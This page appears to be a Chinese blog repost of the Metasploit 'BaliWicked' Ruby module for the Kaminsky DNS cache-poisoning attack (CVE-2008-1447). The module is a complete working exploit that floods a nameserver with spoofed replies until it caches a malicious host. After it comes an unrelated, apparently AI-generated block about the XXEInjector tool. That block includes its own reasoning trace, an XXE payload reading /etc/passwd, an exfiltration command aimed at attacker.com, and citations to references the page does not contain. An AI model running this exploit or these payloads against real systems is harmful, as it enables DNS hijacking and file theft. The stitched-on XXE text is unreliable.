利用DNS漏洞攻击的Ruby代码

此模块利用 DNS 缓存中毒漏洞,通过发送大量伪造的 DNS 请求并结合恶意响应来缓存恶意主机条目。该攻击针对目标 DNS 服务器,使其缓存恶意主机条目,进而可能影响依赖该 DNS 服务器的所有客户端。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

 
1 require 'msf/core'
2 require 'net/dns'
3 require 'scruby'
4 require 'resolv'

6 module Msf

8 class Auxiliary::Spoof::Dns::BaliWickedHost < Msf::Auxiliary

10        include Exploit::Remote::Ip
11 
12        def initialize(info = {})
13                super(update_info(info, 
14                        'Name'          => 'DNS BaliWicked Attack',
15                        'Description'    => %q{
16                                This exploit attacks a fairly ubiquitous flaw in DNS implementations which 
17                                Dan Kaminsky found and disclosed ~Jul 2008.  This exploit caches a single
18                                malicious host entry into the target nameserver by sending random sub-domain
19                                queries to the target DNS server coupled with spoofed replies to those
20                                queries from the authoritative nameservers for the domain which contain a
21                                malicious host entry for the hostname to be poisoned in the authority and
22                                additional records sections.  Eventually, a guessed ID will match and the
23                                spoofed packet will get accepted, and due to the additional hostname entry
24                                being within baliwick constraints of the original request the malicious host
25                                entry will get cached.
26                        },
27                        'Author'        => [ 'I)ruid', 'hdm' ],
28                        'License'        => MSF_LICENSE,
29                        'Version'        => '$Revision$',
30                        'References'    =>
31                                [
32                                        [ 'CVE', '2008-1447' ],
33                                        [ 'US-CERT-VU', '8000113' ],
34                                        [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.html' ],
35                                ],
36                        'Privileged'    => true,
37                        'Targets'        => 
38                                [
39                                        ["BIND", 
40                                                {
41                                                        'Arch' => ARCH_X86,
42                                                        'Platform' => 'linux',
43                                                },
44                                        ],
45                                ],
46                        'DisclosureDate' => 'Jul 21 2008'
47                        ))
48                         
49                        register_options(
50                                [
51                                        OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
52                                        OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.doxpara.com']),
53                                        OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
54                                        OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
55                                        OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
56                                        OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]),
57                                ], self.class)
58                                         
59        end
60         
61        def auxiliary_commands
62                return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
63        end
64 
65        def cmd_check(*args)
66                targ = args[0] || rhost()
67                if(not (targ and targ.length > 0))
68                        print_status("usage: check [dns-server]")
69                        return
70                end
71 
72                print_status("Using the Metasploit service to verify exploitability...")
73                srv_sock = Rex::Socket.create_udp(
74                        'PeerHost' => targ,
75                        'PeerPort' => 53
76                )               
77 
78                random = false
79                ports  = []
80                lport  = nil
81                 
82                1.upto(5) do |i|
83                 
84                        req = Resolv::DNS::Message.new
85                        txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
86                        req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
87                        req.rd = 1
88                         
89                        srv_sock.put(req.encode)
90                        res, addr = srv_sock.recvfrom()
91                         
92 
93                        if res and res.length > 0
94                                res = Resolv::DNS::Message.decode(res)
95                                res.each_answer do |name, ttl, data|
96                                        if (name.to_s == txt and data.strings.join('') =~ /^([^/s]+)/s+.*red/.metasploit/.com/m)
97                                                t_addr, t_port = $1.split(':')
98 
99                                                print_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
100                                                t_port = t_port.to_i
101                                                if(lport and lport != t_port)
102                                                        random = true
103                                                end
104                                                lport  = t_port
105                                                ports << t_port
106                                        end
107                                end
108                        end     
109                end
110                 
111                srv_sock.close
112                 
113                if(ports.length < 5)
114                        print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
115                        return
116                end
117                 
118                if(random)
119                        print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
120                        print_status("      This server may still be exploitable, but not by this tool.")
121                else
122                        print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
123                end
124        end
125                 
126        def run
127                target  = rhost()
128                source  = Rex::Socket.source_address(target)
129                sport    = datastore['SRCPORT']
130                hostname = datastore['HOSTNAME'] + '.'
131                address  = datastore['NEWADDR']
132                recons  = datastore['RECONS']
133                xids    = datastore['XIDS'].to_i
134                ttl      = datastore['TTL'].to_i
135 
136                domain = hostname.match(/[^/x2e]+/x2e[^/x2e]+/x2e$/)[0]
137 
138                srv_sock = Rex::Socket.create_udp(
139                        'PeerHost' => target,
140                        'PeerPort' => 53
141                )
142 
143                # Get the source port via the metasploit service if it's not set
144                if sport.to_i == 0
145                        req = Resolv::DNS::Message.new
146                        txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
147                        req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
148                        req.rd = 1
149                         
150                        srv_sock.put(req.encode)
151                        res, addr = srv_sock.recvfrom()
152                         
153                        if res and res.length > 0
154                                res = Resolv::DNS::Message.decode(res)
155                                res.each_answer do |name, ttl, data|
156                                        if (name.to_s == txt and data.strings.join('') =~ /^([^/s]+)/s+.*red/.metasploit/.com/m)
157                                                t_addr, t_port = $1.split(':')
158                                                sport = t_port.to_i
159 
160                                                print_status("Switching to target port #{sport} based on Metasploit service")
161                                                if target != t_addr
162                                                        print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
163                                                end
164                                        end
165                                end
166                        end
167                end
168 
169                # Verify its not already cached
170                begin
171                        query = Resolv::DNS::Message.new
172                        query.add_question(hostname, Resolv::DNS::Resource::IN::A)
173                        query.rd = 0
174 
175                        begin
176                                cached = false
177                                srv_sock.put(query.encode)
178                                answer, addr = srv_sock.recvfrom()
179 
180                                if answer and answer.length > 0
181                                        answer = Resolv::DNS::Message.decode(answer)
182                                        answer.each_answer do |name, ttl, data|
183                                                if((name.to_s + ".") == hostname  and data.address.to_s == address)
184                                                        t = Time.now + ttl
185                                                        print_status("Failure: This hostname is already in the target cache: #{name} == #{address}")
186                                                        print_status("        Cache entry expires on #{t.to_s}... sleeping.")
187                                                        cached = true
188                                                        sleep ttl
189                                                end
190                                        end
191                                end
192                        end until not cached
193                rescue ::Interrupt
194                        raise $!
195                rescue ::Exception => e
196                        print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
197                end
198 
199                res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
200 
201                print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"
202 
203                # Look up the nameservers for the domain
204                print_status "Querying recon nameserver for #{domain}'s nameservers..."
205                answer0 = res0.send(domain, Net::DNS::NS)
206                #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
207 
208                barbs = [] # storage for nameservers
209                answer0.answer.each do |rr0|
210                        print_status " Got an #{rr0.type} record: #{rr0.inspect}"
211                        if rr0.type == 'NS'
212                                print_status "Querying recon nameserver for address of #{rr0.nsdname}..."
213                                answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
214                                #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
215                                answer1.answer.each do |rr1|
216                                        print_status " Got an #{rr1.type} record: #{rr1.inspect}"
217                                        res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1) 
218                                        print_status "Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
219                                        answer2 = res2.send(domain)
220                                        if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
221                                                nsrec = {:name => rr0.nsdname, :addr => rr1.address}
222                                                barbs << nsrec
223                                                print_status "  #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
224                                        end
225                                end
226                        end     
227                end
228 
229                if barbs.length == 0
230                        print_status( "No DNS servers found.")
231                        srv_sock.close
232                        disconnect_ip
233                        return
234                end
235 
236                # Flood the target with queries and spoofed responses, one will eventually hit
237                queries = 0
238                responses = 0
239 
240                connect_ip if not ip_sock
241 
242                print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")
243 
244                while true
245                        randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname
246 
247                        # Send spoofed query
248                        req = Resolv::DNS::Message.new
249                        req.id = rand(2**16)
250                        req.add_question(randhost, Resolv::DNS::Resource::IN::A)
251 
252                        req.rd = 1
253 
254                        buff = (
255                                Scruby::IP.new(
256                                        #:src  => barbs[0][:addr].to_s,
257                                        :src  => source,
258                                        :dst  => target,
259                                        :proto => 17
260                                )/Scruby::UDP.new(
261                                        :sport => (rand((2**16)-1024)+1024).to_i,
262                                        :dport => 53
263                                )/req.encode
264                        ).to_net
265                        ip_sock.sendto(buff, target)
266                        queries += 1
267                         
268                        # Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
269                        req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))
270                        req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
271                        req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))
272                        req.qr = 1
273                        req.ra = 1
274 
275                        p = rand(4)+2*10000
276                        p.upto(p+xids-1) do |id|
277                                req.id = id
278                                barbs.each do |barb|
279                                        buff = (
280                                                Scruby::IP.new(
281                                                        #:src  => barbs[:addr].to_s,
282                                                        :src  => barb[:addr].to_s,
283                                                        :dst  => target,
284                                                        :proto => 17
285                                                )/Scruby::UDP.new(
286                                                        :sport => 53,
287                                                        :dport => sport.to_i
288                                                )/req.encode
289                                        ).to_net
290                                        ip_sock.sendto(buff, target)
291                                        responses += 1
292                                end
293                        end
294 
295                        # status update
296                        if queries % 1000 == 0
297                                print_status("Sent #{queries} queries and #{responses} spoofed responses...")
298                        end
299 
300                        # every so often, check and see if the target is poisoned...
301                        if queries % 250 == 0 
302                                begin
303                                        query = Resolv::DNS::Message.new
304                                        query.add_question(hostname, Resolv::DNS::Resource::IN::A)
305                                        query.rd = 0
306         
307                                        srv_sock.put(query.encode)
308                                        answer, addr = srv_sock.recvfrom()
309 
310                                        if answer and answer.length > 0
311                                                answer = Resolv::DNS::Message.decode(answer)
312                                                answer.each_answer do |name, ttl, data|
313                                                        if((name.to_s + ".") == hostname and data.address.to_s == address)
314                                                                print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}")
315                                                                disconnect_ip
316                                                                return
317                                                        end
318                                                end
319                                        end
320                                rescue ::Interrupt
321                                        raise $!
322                                rescue ::Exception => e
323                                        print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
324                                end
325                        end
326 
327                end
328 
329        end
330 
331 end
332 end     
<think>好的,我现在需要回答用户关于XXEInjector漏洞扫描工具的使用说明和安全防护的问题。首先,用户提到了XXEInjector,但根据提供的引用,用户可能混淆了工具名称,因为引用中提到了XXEinjector和XXExploiter。我需要先确认正确的工具名称。根据引用[2],XXEinjector是一个提到的工具,而XXExploiter是另一个。用户可能将两者混淆了,所以需要在回答中澄清这一点。 接下来,用户想了解XXEInjector的使用方法、工作原理和防御措施。首先,我需要从引用中提取相关信息。引用[2]提到XXEinjector的使用可能有局限性,不能完全依赖,需要手动测试验证。同时,引用[2]还提到了XXExploiter工具,可以生成payload并利用,可能更优秀。因此,在回答中需要区分这两个工具,并分别说明它们的使用方法。 关于工作原理,XXE漏洞主要是因为XML解析时未禁用外部实体引用,导致攻击者可以读取文件或执行SSRF。引用[1]和[4]提到XXE漏洞的成因和攻击手段,可以引用这些内容来解释漏洞的背景。 使用说明部分,需要根据引用[2]提到的内容,说明XXEinjector的基本命令,比如指定参数如--host、--path、--proxy等。同时,需要提醒用户该工具的局限性,建议结合手动测试。对于XXExploiter,引用[2]提到它生成payload和启动服务,这部分需要详细说明步骤,如生成payload、启动HTTP服务等。 安全防护方面,引用[4]提到过滤用户提交的XML数据,禁用外部实体。需要列举具体措施,如配置XML解析器禁用DTD、使用白名单过滤输入等。同时可以引用OWASP的建议作为参考。 最后,生成相关问题,需要涵盖工具对比、防护措施、手动测试方法、结合其他工具等,确保问题有针对性。 在回答过程中,要确保使用正确的LaTeX格式,行内公式用$...$,独立公式单独成段。但根据用户的问题,可能涉及的技术内容较少使用数学公式,但如果有相关技术术语或代码,需要正确格式化。例如,在提到XML结构时,可能需要使用代码块展示示例payload。 需要检查引用是否正确对应,例如引用[2]提到XXExploiter的功能,引用[4]提到防护措施。确保每个引用标识符正确对应到用户提供的引用内容。 最后,确保回答结构清晰,分点说明使用说明、工作原理、安全防护,并生成相关问题。同时,提醒用户注意工具的限制,建议结合手动测试和其他工具,如XXExploiter。</think>### XXEInjector漏洞扫描工具使用说明与安全防护 #### 1. XXEInjector工具简介 XXEInjector(可能为XXEinjector的误写[^2])是一款自动化检测XML外部实体注入(XXE)漏洞的工具,主要用于测试XML解析器是否允许外部实体引用。其核心原理是通过构造包含恶意DTD的XML Payload,触发目标服务器解析异常,从而探测或利用漏洞。例如,典型的Payload可能包含如下结构: ```xml <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <foo>&xxe;</foo> ``` #### 2. 工具使用说明 根据引用内容[^4],主要操作步骤如下: 1. **基本命令** ```bash ruby XXEinjector.rb --host=attacker.com --path=/etc/passwd --proxy=http://127.0.0.1:8080 ``` - `--host`:指定攻击者控制的服务器地址,用于外带数据; - `--path`:尝试读取的目标文件路径; - `--proxy`:通过代理拦截请求以观察交互细节。 2. **场景适配** - **有回显漏洞**:直接通过响应获取文件内容; - **无回显漏洞**:利用Out-of-Band(OOB)技术,通过DNS或HTTP请求外传数据[^1]。 3. **局限性** 需注意该工具并非完全可靠,部分场景需手动调整Payload或结合其他工具(如XXExploiter)验证。 #### 3. 安全防护措施 针对XXE漏洞的防护,引用建议: 1. **禁用外部实体** 在XML解析器中设置属性(以Java为例): ```java DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); ``` 2. **输入过滤** 对用户提交的XML数据,移除`<!DOCTYPE>`和`<!ENTITY>`声明。 3. **使用白名单** 仅允许特定XML结构,并验证内容类型(如限制文件上传类型)。 #### 4. 推荐工作流程 ```mermaid graph TD A[发送含恶意DTD的XML] --> B{解析结果} B -->|有回显| C[直接提取数据] B -->|无回显| D[触发OOB请求至攻击服务器] ``` ####
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值